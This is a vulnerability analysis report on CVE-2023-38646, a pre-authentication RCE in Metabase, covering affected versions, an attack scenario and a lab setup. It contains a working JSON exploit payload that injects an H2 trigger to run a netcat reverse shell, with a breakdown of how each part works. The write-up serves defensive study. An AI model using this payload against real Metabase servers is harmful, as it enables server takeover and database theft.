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Research & Technique 
    

 

Pre-Auth RCE vulnerability exploiting Metabase H2 JDBC 

connection information (CVE-2023-38646) 

■ Outline of the vulnerability 
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■ Affected software version 

S/W 구분 Version 

Metabase 

Metabase Enterprise 1.46.6.1 

Metabase Enterprise 1.45.4.1 

Metabase Enterprise 1.44.7.1 

Metabase Enterprise 1.43.7.2 

Metabase open source 0.46.6.1 

Metabase open source 0.45.4.1 

Metabase open source 0.44.7.1 

Metabase open source 0.43.7.2 

 

■ Attack scenario 

 

① The attacker uses an OSINT search engine like Shodan to search for a vulnerable Metabase server. 

② The attacker uses the CVE-2023-38646 vulnerability to access a victimized server. 

③ The attacker seizes control of the server of the Reverse Shell4 connection victim by executing a remote command. 

④ The attacker accesses the victim’s database to steal important information. 
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■ Test environment configuration information 

Name Information 

Victim 

Ubuntu 20.04.6 LTS focal 

Docker version 24.0.5, build ced0996 

Metabase:v0.46.6 

Alpine Linux v3.18 

(192.168.102.65) 

Attacker 

Ubuntu 20.04.6 LTS focal 

Burp Suite Community Edition v2023.7.1 

Ncat: Version 7.80 

 (92.168.102.54) 
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■ Vulnerability test 

command 

$ docker run -d -p 3000:3000 --name Metabase Metabase/Metabase:v0.46.6 

-d option: An option for executing the docker in the background in the detach mode 

-p option: An option for specifying the local port and the port to execute in the docker 
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■ Detailed analysis of the vulnerability 
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{ 

  "token": "04d96839-9289-462b-affe-b3e5cb0a19b3", 

  "details": { 

    "is_on_demand": false, 

    "is_full_sync": false, 

    "is_sample": false, 

    "cache_ttl": null, 

    "refingerprint": false, 

    "auto_run_queries": true, 

    "schedules": {}, 

    "details": { 

      "db": "mem:test;AUTO_RECONNECT=TRUE\\;CREATE TRIGGER EQSTLAB BEFORE SELECT ON 

INFORMATION_SCHEMA.TABLES AS $$//javascript 

java.lang.Runtime.getRuntime().exec('nc 192.168.0.18 1234 -e /bin/sh') 

$$--=x;", 

      "advanced-options": true, 

      "ssl": true 

    }, 

    "name": "test", 

    "engine": "h2" 

  } 

} 
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Characteristic TRIGGER ALIAS 

Purpose of 

use 

Call a Java method by responding to a DB 

event (INSERT, UPDATE, etc.) 

Define an alias to call a Java method in 

an SQL query 

Call Automatically call when a DB event occurs Call explicitly 

Example 
CREATE TRIGGER ... BEFORE SELECT ON 

INFORMATION_SCHEMA.TABLES …; 
CREATE ALIAS MY_FUNC FOR …; 

Parameter value Description 

mem:test: Execute H2 database in the memory mode 

AUTO_RECONNECT=TRUE H2 JDBC connection string option 

\\; Escape the ‘;’ character in JSON 

CREATE TRIGGER EQSTLAB BEFORE 

SELECT ON 

INFORMATION_SCHEMA.TABLES 

Create a trigger with the name of "EQSTLAB" and configure 

it to perform a specific action (Java Method call) before 

executing the SELECT statement in 

INFORMATION_SCHEMA.TABLES 

AS $$//.... $$--=x\;: 
After AS, Java codes can be defined, and the contents inside 

$$ are escaped. 

java.lang.Runtime.getRuntime().exec('nc 

192.168.0.18 1234 -e /bin/sh') 

Use the runtime class of Java to execute an external process. 

Here, the nc (Netcat) tool is used to connect the Reverse 

Shell to the 1234 port of the 192.168.0.18 address. 
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■ Countermeasures 
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■ Reference sites 


